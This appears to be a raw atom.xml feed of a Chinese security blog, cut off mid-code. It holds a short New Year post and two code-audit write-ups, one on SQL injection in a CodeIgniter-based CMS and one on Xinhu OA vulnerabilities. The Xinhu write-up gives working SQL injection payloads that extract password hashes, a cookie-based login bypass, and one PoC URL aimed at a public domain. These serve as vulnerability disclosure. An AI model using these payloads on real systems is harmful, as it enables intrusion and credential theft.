-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathatom.xml
432 lines (247 loc) · 472 KB
/
atom.xml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
<title>Leej</title>
<subtitle>做人不卖萌跟咸鱼有什么区别</subtitle>
<link href="/atom.xml" rel="self"/>
<link href="http://blog.leej.me/"/>
<updated>2018-03-19T03:47:04.276Z</updated>
<id>http://blog.leej.me/</id>
<author>
<name>Leej</name>
</author>
<generator uri="http://hexo.io/">Hexo</generator>
<entry>
<title>新年随笔</title>
<link href="http://blog.leej.me/2018/03/19/%E6%96%B0%E5%B9%B4%E9%9A%8F%E7%AC%94/"/>
<id>http://blog.leej.me/2018/03/19/新年随笔/</id>
<published>2018-03-19T03:24:57.000Z</published>
<updated>2018-03-19T03:47:04.276Z</updated>
<content type="html"><![CDATA[<p> 新年伊始,昨日龙抬头,后天公司就要开年会了,自己的体育课依然是心中的一坨烂肉,伴随着这些事,新的一年也开始踏入正轨,自己距离毕业也不过一年多了。想法随着自己的不断经历与学习也不断变得复杂,不忘初心的还是自己的这份对技术的追逐和热爱,自己不善于总结与规划,但是自己还是想给立一些学习的方向和计划吧,希望自己可以先把java方面的一些框架熟悉学习一下后暂时放一放自己对web层面的学习,同时对php的内核做一个简单的学习还有认识,之后学习一些简单的re并且去学习一下linux内核相关的东西,这方面希望自己可以达到独立调试一些二进制相关漏洞的能力吧,同时闲的时候学一学编译原理等一些其他细枝末节的小知识。还有自己虽然暂放web方向的学习,但是一些新闻和paper还是或多或少的看看了解了解娱乐娱乐,希望明年自己可以看到这篇blog的时候觉得现在的自己很垃圾并且有一些新的list吧。</p>]]></content>
<summary type="html">
<p> 新年伊始,昨日龙抬头,后天公司就要开年会了,自己的体育课依然是心中的一坨烂肉,伴随着这些事,新的一年也开始踏入正轨,自己距离毕业也不过一年多了。想法随着自己的不断经历与学习也不断变得复杂,不忘初心的还是自己的这份对技术的追逐和热爱,自己不善于总结与规划,但是
</summary>
</entry>
<entry>
<title>某cms审计思路,以及ci框架如何找寻注入点</title>
<link href="http://blog.leej.me/2018/03/13/%E6%9F%90cms%E5%AE%A1%E8%AE%A1%E6%80%9D%E8%B7%AF%EF%BC%8C%E4%BB%A5%E5%8F%8Aci%E6%A1%86%E6%9E%B6%E5%A6%82%E4%BD%95%E6%89%BE%E5%AF%BB%E6%B3%A8%E5%85%A5%E7%82%B9/"/>
<id>http://blog.leej.me/2018/03/13/某cms审计思路,以及ci框架如何找寻注入点/</id>
<published>2018-03-13T05:36:08.000Z</published>
<updated>2018-03-13T05:37:50.551Z</updated>
<content type="html"><![CDATA[<h3 id="某cms审计思路,以及ci框架如何找寻注入点"><a href="#某cms审计思路,以及ci框架如何找寻注入点" class="headerlink" title="某cms审计思路,以及ci框架如何找寻注入点"></a>某cms审计思路,以及ci框架如何找寻注入点</h3><h3 id="ABOUT"><a href="#ABOUT" class="headerlink" title="ABOUT"></a>ABOUT</h3><p> 之前闲着没事的时候审的某cms,之前看一群大表哥刷过一次这个cms,想着看看还能不能赶得上分一杯羹,还是审计出来些东西,来说一说一个前台注入吧,orz后面竟然发现提前一周有大表哥交了这个,虽然撞了,但是还是分析分析这个有关的一些思路吧。</p><p>首先找注入,思路其实很简单,一个模型一个模型的去看sql,有些猥琐思路,一般过滤都是单引号双引号这些,很少会有注视到类似于表名这样会使用反引号”`”这就是一个比较容易忽视的一个点。这里就找到一个,虽然没有反引号,也是有关表名可利用。</p><h4 id="前台无限制注入"><a href="#前台无限制注入" class="headerlink" title="前台无限制注入"></a>前台无限制注入</h4><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://localhost/index.php?s=member&c=api&m=checktitle&id=1&title=--+&module=block%20a,(select%20%27fn_admin%27%20where%201=sleep(5))%20x%20where%201=sleep(5)%20and%20%27WHERE%20`id`%20%3C%3E%201%20AND%20`title`%20=%20%27=%27</span><br></pre></td></tr></table></figure><p>\controllers\member\Api.php这个api当中</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">/**</span><br><span class="line"> * 标题检查</span><br><span class="line"> */</span><br><span class="line">public function checktitle() {</span><br><span class="line"></span><br><span class="line"> $id = (int)$this->input->get('id');</span><br><span class="line"> $title = $this->input->get('title', TRUE);</span><br><span class="line"> $module = $this->input->get('module');</span><br><span class="line"> </span><br><span class="line"> (!$title || !$module) && exit('');</span><br><span class="line"></span><br><span class="line"> $num = $this->db->where('id<>', $id)->where('title', $title)->count_all_results(SITE_ID.'_'.$module);</span><br><span class="line"> $num ? exit(fc_lang('<font color=red>'.fc_lang('重复').'</font>')) : exit('');</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>标题检查方法中,看到获取用户get的三个值</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">$id = (int)$this->input->get('id');</span><br><span class="line">$title = $this->input->get('title', TRUE);</span><br><span class="line">$module = $this->input->get('module');</span><br></pre></td></tr></table></figure><p>注意到下面</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$num = $this->db->where('id<>', $id)->where('title', $title)->count_all_results(SITE_ID.'_'.$module);</span><br></pre></td></tr></table></figure><p>将\$module拼接为表名</p><p>这个count_all_results是ci框架提供的方法,追踪一下</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br></pre></td><td class="code"><pre><span class="line">public function count_all_results($table = '', $reset = TRUE)</span><br><span class="line">{</span><br><span class="line"> if ($table !== '')</span><br><span class="line"> {</span><br><span class="line"> $this->_track_aliases($table);</span><br><span class="line"> $this->from($table);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> // ORDER BY usage is often problematic here (most notably</span><br><span class="line"> // on Microsoft SQL Server) and ultimately unnecessary</span><br><span class="line"> // for selecting COUNT(*) ...</span><br><span class="line"> if ( ! empty($this->qb_orderby))</span><br><span class="line"> {</span><br><span class="line"> $orderby = $this->qb_orderby;</span><br><span class="line"> $this->qb_orderby = NULL;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> $result = ($this->qb_distinct === TRUE OR ! empty($this->qb_groupby) OR ! empty($this->qb_cache_groupby) OR $this->qb_limit OR $this->qb_offset)</span><br><span class="line"> ? $this->query($this->_count_string.$this->protect_identifiers('numrows')."\nFROM (\n".$this->_compile_select()."\n) CI_count_all_results")</span><br><span class="line"> : $this->query($this->_compile_select($this->_count_string.$this->protect_identifiers('numrows')));</span><br><span class="line"></span><br><span class="line"> if ($reset === TRUE)</span><br><span class="line"> {</span><br><span class="line"> $this->_reset_select();</span><br><span class="line"> }</span><br><span class="line"> // If we've previously reset the qb_orderby values, get them back</span><br><span class="line"> elseif ( ! isset($this->qb_orderby))</span><br><span class="line"> {</span><br><span class="line"> $this->qb_orderby = $orderby;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> if ($result->num_rows() === 0)</span><br><span class="line"> {</span><br><span class="line"> return 0;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> $row = $result->row();</span><br><span class="line"> return (int) $row->numrows;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>看到框架底层会将表明做一个分析后构造sql语句,这里由于 \$module = $this->input->get(‘module’);是直接获得到的数据,没有太多的处理,这里可以构造注入。首先随便测试一下</p><p><img src="http://ww1.sinaimg.cn/large/7e2785d1ly1fp1zqcqkjmj20qz0ewmy2.jpg" alt=""> </p><p>看到sql语句出错了,这里我是fuzz出一些ci框架在处理表名的一些规则,有时候他会加表前缀,有时候他会加反引号,总之一会就可以探测出规律。</p><p>好了,开始构造payload</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://localhost/index.php?s=member&c=api&m=checktitle&id=1&title=--+&module=block a,(select updatexml(1,concat(0x7e,(select password from fn_member),0x7e),1)) x where 1='</span><br></pre></td></tr></table></figure><p><img src="http://ww1.sinaimg.cn/large/7e2785d1ly1fp1zrfx4knj217j0jpju3.jpg" alt=""> </p><p>打到后台admin的密码hash了,这里由于api是开放的,没有身份验证,所以是无需登录前台即可</p><h4 id="ci框架如何找寻注入点?"><a href="#ci框架如何找寻注入点?" class="headerlink" title="ci框架如何找寻注入点?"></a>ci框架如何找寻注入点?</h4><p>首先这套cms是基于ci框架,其实像ci框架的设计感觉还是挺好的,框架和这套cms的耦合度还是挺高的,感觉cms和框架基本融合在一起,设计更平易近人,比如一些参数获取就是简单的post()、get()这样不像tp给人感觉过于突兀。就像开篇说的,一般在接收参数的时候有时候在表名列名这些很有可能会忽视过滤,尤其是在遇到反引号的时候,不管是框架层面还是cms的一些设计层面都会忽略这个潜在的危险,就像上面提到的有关这个的注入,感兴趣的表哥可以自己看一下框架的有关代码,因为从框架的设计层面来说,这里并不会去考虑过多的安全性问题,毕竟这一块的主动权是在开发者手里,框架层面并不能判断这个表这里是用户输入的还是开发者定义的,所以在这往往可能会产生一些问题。有兴趣的表哥可以自己试一试,这里不过多探究。</p>]]></content>
<summary type="html">
<h3 id="某cms审计思路,以及ci框架如何找寻注入点"><a href="#某cms审计思路,以及ci框架如何找寻注入点" class="headerlink" title="某cms审计思路,以及ci框架如何找寻注入点"></a>某cms审计思路,以及ci框架如何找寻注
</summary>
</entry>
<entry>
<title>某oa系统的审计</title>
<link href="http://blog.leej.me/2018/03/07/%E6%9F%90oa%E7%B3%BB%E7%BB%9F%E7%9A%84%E5%AE%A1%E8%AE%A1/"/>
<id>http://blog.leej.me/2018/03/07/某oa系统的审计/</id>
<published>2018-03-07T09:18:16.000Z</published>
<updated>2018-03-13T03:50:36.058Z</updated>
<content type="html"><![CDATA[<h1 id="信呼OA"><a href="#信呼OA" class="headerlink" title="信呼OA"></a>信呼OA</h1><p>闲着没事,java学累了来整理下以前审的一个觉得很有意思的cms,这个作者写的比较灵活,同时灵活也代表着凌乱,很多不严谨导致的很多问题,也许也是oa系统相对于一些其他类型的站点要复杂,前期架构没设计好就很容易造成诸多不便还有些问题。这个cms我觉得最有意思的就是webmainAction.php当中的一些public开头的公共方法比如publicsavevalue这样,基本都是做三件事第一有个beforexxx还有个xxx还有afterxxx会去做一些有关的事,最重要的是这些方法都是可控的,不好表述具体仔细看代码会明白,总之感觉这是一个非常灵活的cms,同时又有颇多的问题,这里逻辑层面还做的比较繁杂,仔细推敲一定还能找着不少有关逻辑层面的洞,这里简单发几个。</p><h3 id="1-管理员登录验证绕过,可直接登录任意在线用户"><a href="#1-管理员登录验证绕过,可直接登录任意在线用户" class="headerlink" title="1.管理员登录验证绕过,可直接登录任意在线用户"></a>1.管理员登录验证绕过,可直接登录任意在线用户</h3><p>在\xinhu\webmain\task\mode\modeAction.php控制器中的initAction方法,可以看到接收用户传递的adminid还有token,之后将其带入login模型的autologin方法,该方法作用是实现快速登录,具体看一下</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">autologin</span><span class="params">($aid=<span class="number">0</span>, $token=<span class="string">''</span>, $ism=<span class="number">0</span>)</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line">$baid = <span class="keyword">$this</span>->adminid;</span><br><span class="line"><span class="keyword">if</span>($aid><span class="number">0</span> && $token!=<span class="string">''</span>){</span><br><span class="line">$rs = <span class="keyword">$this</span>->getone(<span class="string">"`uid`='$aid' and `token`='$token' and `online`=1"</span>,<span class="string">'`name`'</span>);</span><br><span class="line"><span class="keyword">if</span>(!$rs)<span class="keyword">exit</span>(<span class="string">'illegal request2'</span>);</span><br><span class="line"><span class="keyword">$this</span>->setsession($aid, $rs[<span class="string">'name'</span>], $token);</span><br><span class="line">$baid= $aid;</span><br><span class="line">}</span><br><span class="line"><span class="keyword">if</span>($baid==<span class="number">0</span>){</span><br><span class="line">$uid = (int)<span class="keyword">$this</span>->rock->cookie(<span class="string">'mo_adminid'</span>,<span class="string">'0'</span>);<span class="comment">//用cookie登录</span></span><br><span class="line">$onrs = <span class="keyword">$this</span>->getone(<span class="string">"`uid`=$uid and `online`=1"</span>,<span class="string">'`name`,`token`,`id`,`uid`'</span>);</span><br><span class="line"><span class="keyword">if</span>($onrs){</span><br><span class="line"><span class="keyword">$this</span>->setsession($uid, $onrs[<span class="string">'name'</span>], $onrs[<span class="string">'token'</span>]);</span><br><span class="line"><span class="keyword">$this</span>->update(<span class="string">"moddt='"</span>.<span class="keyword">$this</span>->rock->now.<span class="string">"'"</span>, $onrs[<span class="string">'id'</span>]);</span><br><span class="line">}<span class="keyword">else</span>{</span><br><span class="line">$uid = <span class="number">0</span>;</span><br><span class="line">}</span><br><span class="line">$baid = $uid;</span><br><span class="line">}</span><br><span class="line"><span class="keyword">return</span> $baid;</span><br><span class="line">}</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>看到这里$this->adminid值的获取</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">initRock</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"><span class="keyword">$this</span>->jm = c(<span class="string">'jm'</span>, <span class="keyword">true</span>);</span><br><span class="line"><span class="keyword">$this</span>->adminid= (int)<span class="keyword">$this</span>->session(<span class="string">'adminid'</span>,<span class="number">0</span>);</span><br><span class="line"><span class="keyword">$this</span>->adminname= <span class="keyword">$this</span>->session(<span class="string">'adminname'</span>);</span><br><span class="line"><span class="keyword">$this</span>->adminuser= <span class="keyword">$this</span>->session(<span class="string">'adminuser'</span>);</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>看到默认值为0</p><p>这里进入第二个if,发现这里仅仅验证cookie,得到一个uid,带入数据库查询这个uid,uid存在并且用户在线状态为1就进入<code>if($onrs)</code> 当中,同时设置session,并且成功登录。</p><p>利用方式(官网demo):?m=mode&d=task&a=init&adminid=0&token=11</p><p>首先设置Cookie: xinhu_mo_adminid=1;然后访问该控制器</p><p><img src="http://ww1.sinaimg.cn/large/7e2785d1ly1fnxl850canj20yi0ly0up.jpg" alt=""> </p><p><img src="http://ww1.sinaimg.cn/large/7e2785d1ly1fnxl9qw0c5j20xb0e175y.jpg" alt=""> </p><p>访问前台:成功登录!</p><p><img src="http://ww1.sinaimg.cn/large/7e2785d1ly1fnxlau8z9mj20ys0n0tc9.jpg" alt=""> </p><h3 id="2-前台登录接口注入"><a href="#2-前台登录接口注入" class="headerlink" title="2.前台登录接口注入"></a>2.前台登录接口注入</h3><p>登陆接口处存在注入,无需登录,可获取管理员hash、token等重要凭据</p><p>首先\webmain\task\api\loginAction.php控制器当中的checkAction方法</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br></pre></td><td class="code"><pre><span class="line">{</span><br><span class="line"><span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">checkAction</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line">$adminuser= str_replace(<span class="string">' '</span>,<span class="string">''</span>,<span class="keyword">$this</span>->rock->jm->base64decode(<span class="keyword">$this</span>->post(<span class="string">'user'</span>)));</span><br><span class="line">$adminpass= <span class="keyword">$this</span>->rock->jm->base64decode(<span class="keyword">$this</span>->post(<span class="string">'pass'</span>));</span><br><span class="line">$arr = m(<span class="string">'login'</span>)->start($adminuser, $adminpass);</span><br><span class="line"><span class="keyword">if</span>(is_array($arr)){</span><br><span class="line">$arrs = <span class="keyword">array</span>(</span><br><span class="line"><span class="string">'uid'</span> => $arr[<span class="string">'uid'</span>],</span><br><span class="line"><span class="string">'name'</span> => $arr[<span class="string">'name'</span>],</span><br><span class="line"><span class="string">'user'</span>=> $arr[<span class="string">'user'</span>],</span><br><span class="line"><span class="string">'ranking'</span>=> $arr[<span class="string">'ranking'</span>],</span><br><span class="line"><span class="string">'deptname'</span> => $arr[<span class="string">'deptname'</span>],</span><br><span class="line"><span class="string">'deptallname'</span> => $arr[<span class="string">'deptallname'</span>],</span><br><span class="line"><span class="string">'face'</span> => $arr[<span class="string">'face'</span>],</span><br><span class="line"><span class="string">'apptx'</span> => $arr[<span class="string">'apptx'</span>],</span><br><span class="line"><span class="string">'token'</span> => $arr[<span class="string">'token'</span>],</span><br><span class="line"><span class="string">'iskq'</span> => (int)m(<span class="string">'userinfo'</span>)->getmou(<span class="string">'iskq'</span>, $arr[<span class="string">'uid'</span>]), <span class="comment">//判断是否需要考勤</span></span><br><span class="line"><span class="string">'title'</span>=> getconfig(<span class="string">'apptitle'</span>),</span><br><span class="line"><span class="string">'weblogo'</span>=> getconfig(<span class="string">'weblogo'</span>)</span><br><span class="line">);</span><br><span class="line"></span><br><span class="line">$uid = $arr[<span class="string">'uid'</span>];</span><br><span class="line">$name = $arr[<span class="string">'name'</span>];</span><br><span class="line">$user = $arr[<span class="string">'user'</span>];</span><br><span class="line">$token = $arr[<span class="string">'token'</span>];</span><br><span class="line">m(<span class="string">'login'</span>)->setsession($uid, $name, $token, $user);</span><br><span class="line"><span class="keyword">$this</span>->showreturn($arrs);</span><br><span class="line">}<span class="keyword">else</span>{</span><br><span class="line"><span class="keyword">$this</span>->showreturn(<span class="string">''</span>, $arr, <span class="number">201</span>);</span><br><span class="line">}</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>是做一个登录验证的api,其中调用的start()模型是一个具体的的登录验证,其中接受5个用户可控的参数</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">start</span><span class="params">($user, $pass, $cfrom=<span class="string">''</span>, $devices=<span class="string">''</span>)</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line">$uid = <span class="number">0</span>; </span><br><span class="line">$cfrom = <span class="keyword">$this</span>->rock->request(<span class="string">'cfrom'</span>, $cfrom);</span><br><span class="line">$token = <span class="keyword">$this</span>->rock->request(<span class="string">'token'</span>);</span><br><span class="line">$device= <span class="keyword">$this</span>->rock->request(<span class="string">'device'</span>, $devices);</span><br><span class="line">$ip = <span class="keyword">$this</span>->rock->request(<span class="string">'ip'</span>, <span class="keyword">$this</span>->rock->ip);</span><br><span class="line">$web = <span class="keyword">$this</span>->rock->request(<span class="string">'web'</span>, <span class="keyword">$this</span>->rock->web);</span><br></pre></td></tr></table></figure><p>中间登录过程不详细解释,其中会有一个日志记录的动作,在start方法中看到末尾</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">m(<span class="string">'log'</span>)->addlog(<span class="string">''</span>.$cfrom.<span class="string">'登录'</span>, <span class="string">'['</span>.$posts.<span class="string">']'</span>.$loginx.<span class="string">''</span>.$logins.<span class="string">''</span>, <span class="keyword">array</span>(</span><br><span class="line"><span class="string">'optid'</span>=> $uid, </span><br><span class="line"><span class="string">'optname'</span>=> $name,</span><br><span class="line"><span class="string">'ip'</span>=> $ip,</span><br><span class="line"><span class="string">'web'</span>=> $web,</span><br><span class="line"><span class="string">'device'</span>=> $device</span><br><span class="line">));</span><br></pre></td></tr></table></figure><p>这一步将用户输入写入日志,其中过滤了单引号还有一些特殊的关键字,这里可以绕过,具体payload如下:</p><p><a href="http://localhost/xinhu/api.php?m=login&a=check&cfrom=pc&user=hello&pass=123&ip=testip\&web==(substr((seleselect*ct+pass+from+xinhu_admin+where+id+=1),1,1)="e"%26%26sleep(5))--+&device=testdevice" target="_blank" rel="noopener">http://localhost/xinhu/api.php?m=login&a=check&cfrom=pc&user=hello&pass=123&ip=testip\&web==(substr((seleselect*ct+pass+from+xinhu_admin+where+id+=1),1,1)="e"%26%26sleep(5))--+&device=testdevice</a></p><p><img src="http://ww1.sinaimg.cn/large/7e2785d1ly1fnxkdokgvsj20l50e175r.jpg" alt=""> </p><p>查询密码第一位如果为e则延时5秒</p><p>类似这样的注入应该还有一大把,懒得看,他<code>\</code> 没有过滤,稍微有点心应该都晓得怎么利用</p><p>###3.where处注入</p><p>没什么可分析的。poc</p><p><code>http://localhost/xinhu/?d=reim&m=chat&uid=1 or 1&type=group&winobj=group_14</code></p><p>#####4.where处注入</p><p><code>http://localhost/xinhu/?&m=kaoqinj&a=kqjcmddel&d=main&ajaxbool=true</code></p><p>post:<code>id=1) and sleep(4</code> </p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">kqjcmddelAjax</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line">$id = <span class="keyword">$this</span>->post(<span class="string">'id'</span>);</span><br><span class="line">m(<span class="string">'kqjcmd'</span>)->delete(<span class="string">"`id` in ($id)"</span>);</span><br><span class="line">showreturn();</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>###5.注入</p><p><code>http://localhost/xinhu/api.php?a=subscribe&m=asynrun&id=1 and sleep(10) &uid&receid&recename&asynkey=2b557b98f1dc3911727681ec3f38f78c</code></p><p>###6.注入</p><p><code>http://www.mianfeix.com/api.php?&m=indexreim&a=ldata</code> </p><p>post:<code>loaddt=MScgYW5kIDAgdW5pb24gc2VsZWN0IGlkLHVzZXIsMSwxLDEsbnVsbCxwYXNzLDEsMSBmcm9tIHhpbmh1X2FkbWluIw==sleep&type=history</code> </p><h3 id="7-自定义setval"><a href="#7-自定义setval" class="headerlink" title="7.自定义setval"></a>7.自定义setval</h3><p>C:\phpStudy\PHPTutorial\WWW\xinhu\webmain\system\email\emailAction.php</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">setsaveAjax</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"><span class="keyword">$this</span>->option->setval(<span class="string">'email_sendhost@-1'</span>, <span class="keyword">$this</span>->post(<span class="string">'sendhost'</span>));</span><br><span class="line"><span class="keyword">$this</span>->option->setval(<span class="string">'email_sendport@-1'</span>, <span class="keyword">$this</span>->post(<span class="string">'sendport'</span>));</span><br><span class="line"><span class="keyword">$this</span>->option->setval(<span class="string">'email_recehost@-1'</span>, <span class="keyword">$this</span>->post(<span class="string">'recehost'</span>));</span><br><span class="line"><span class="keyword">$this</span>->option->setval(<span class="string">'email_sendsecure@-1'</span>, <span class="keyword">$this</span>->post(<span class="string">'sendsecure'</span>));</span><br><span class="line"><span class="keyword">$this</span>->option->setval(<span class="string">'email_sysname@-1'</span>, <span class="keyword">$this</span>->post(<span class="string">'sysname'</span>));</span><br><span class="line"><span class="keyword">$this</span>->option->setval(<span class="string">'email_sysuser@-1'</span>, <span class="keyword">$this</span>->post(<span class="string">'sysuser'</span>));</span><br><span class="line"><span class="keyword">$this</span>->option->setval(<span class="string">'email_receyumi@-1'</span>, <span class="keyword">$this</span>->post(<span class="string">'receyumi'</span>));</span><br><span class="line">$syspass= <span class="keyword">$this</span>->post(<span class="string">'syspass'</span>);</span><br><span class="line"><span class="keyword">if</span>(!isempt($syspass)){</span><br><span class="line"><span class="keyword">$this</span>->option->setval(<span class="string">'email_syspass@-1'</span>, <span class="keyword">$this</span>->jm->encrypt($syspass));</span><br><span class="line">}</span><br><span class="line"><span class="keyword">$this</span>->backmsg();</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>另一个自定义val,比上面那个方便</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">savecolunmsAjax</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"> $num = <span class="keyword">$this</span>->post(<span class="string">'num'</span>);</span><br><span class="line"> $modeid = (int)<span class="keyword">$this</span>->post(<span class="string">'modeid'</span>);</span><br><span class="line"> $str = <span class="keyword">$this</span>->post(<span class="string">'str'</span>);</span><br><span class="line"> <span class="keyword">$this</span>->option->setval($num.<span class="string">'@'</span>.(<span class="number">-1</span>*$modeid<span class="number">-1000</span>), $str,<span class="string">'模块列定义'</span>);</span><br><span class="line"> $path = m(<span class="string">'mode'</span>)->createlistpage($modeid);</span><br><span class="line"> $msg = <span class="string">'ok'</span>;</span><br><span class="line"> <span class="keyword">if</span>($path==<span class="string">''</span>)$msg=<span 